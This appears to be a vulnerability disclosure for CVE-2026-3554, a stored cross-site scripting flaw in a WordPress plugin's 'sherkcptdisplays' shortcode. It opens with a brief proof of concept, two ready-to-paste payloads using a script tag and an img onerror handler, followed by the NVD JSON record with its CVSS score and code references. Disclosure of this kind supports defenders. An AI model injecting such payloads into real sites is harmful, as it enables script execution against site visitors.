CVE-2026-3554

<!-- PoC for CVE-2026-3554 Usage: Add the following shortcode to a WordPress post or page with Contributor-level access or higher. --> [sherkcptdisplays title="<script>alert('CVE-2026-3554');</script>"] <!-- Alternative payload using image tag to trigger execution --> [sherkcptdisplays title="<img src=x onerror=alert('XSS')>"]

{"cve": {"id": "CVE-2026-3554", "sourceIdentifier": "[email protected]", "published": "2026-03-21T04:17:29.890", "lastModified": "2026-04-24T16:27:44.277", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Sherk Custom Post Type Displays plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'title' shortcode attribute in all versions up to, and including, 1.2.1. This is due to insufficient input sanitization and output escaping on the 'title' attribute of the 'sherkcptdisplays' shortcode. Specifically, in the sherkcptdisplays_func() function in includes/SherkCPTDisplaysShortcode.php, the 'title' attribute value is extracted from shortcode_atts() on line 19 and directly concatenated into an HTML <h2> tag on line 31 without any escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}, {"lang": "es", "value": "El plugin Sherk Custom Post Type Displays para WordPress es vulnerable a cross-site scripting almacenado a través del atributo 'title' del shortcode en todas las versiones hasta la 1.2.1, inclusive. Esto se debe a una sanitización de entrada y un escape de salida insuficientes en el atributo 'title' del shortcode 'sherkcptdisplays'. Específicamente, en la función sherkcptdisplays_func() en includes/SherkCPTDisplaysShortcode.php, el valor del atributo 'title' se extrae de shortcode_atts() en la línea 19 y se concatena directamente en una etiqueta HTML en la línea 31 sin ningún escape. Esto hace posible que atacantes autenticados, con acceso de nivel Colaborador y superior, inyecten scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/sherk-custom-post-type-displays/tags/1.2.1/includes/SherkCPTDisplaysShortcode.php#L19", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/sherk-custom-post-type-displays/tags/1.2.1/includes/SherkCPTDisplaysShortcode.php#L31", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/sherk-custom-post-type-displays/trunk/includes/SherkCPTDisplaysShortcode.php#L19", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/sherk-custom-post-type-displays/trunk/includes/SherkCPTDisplaysShortcode.php#L31", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/d227d4e4-2899-434c-8b93-8d93a89b1b1b?source=cve", "source": "[email protected]"}]}}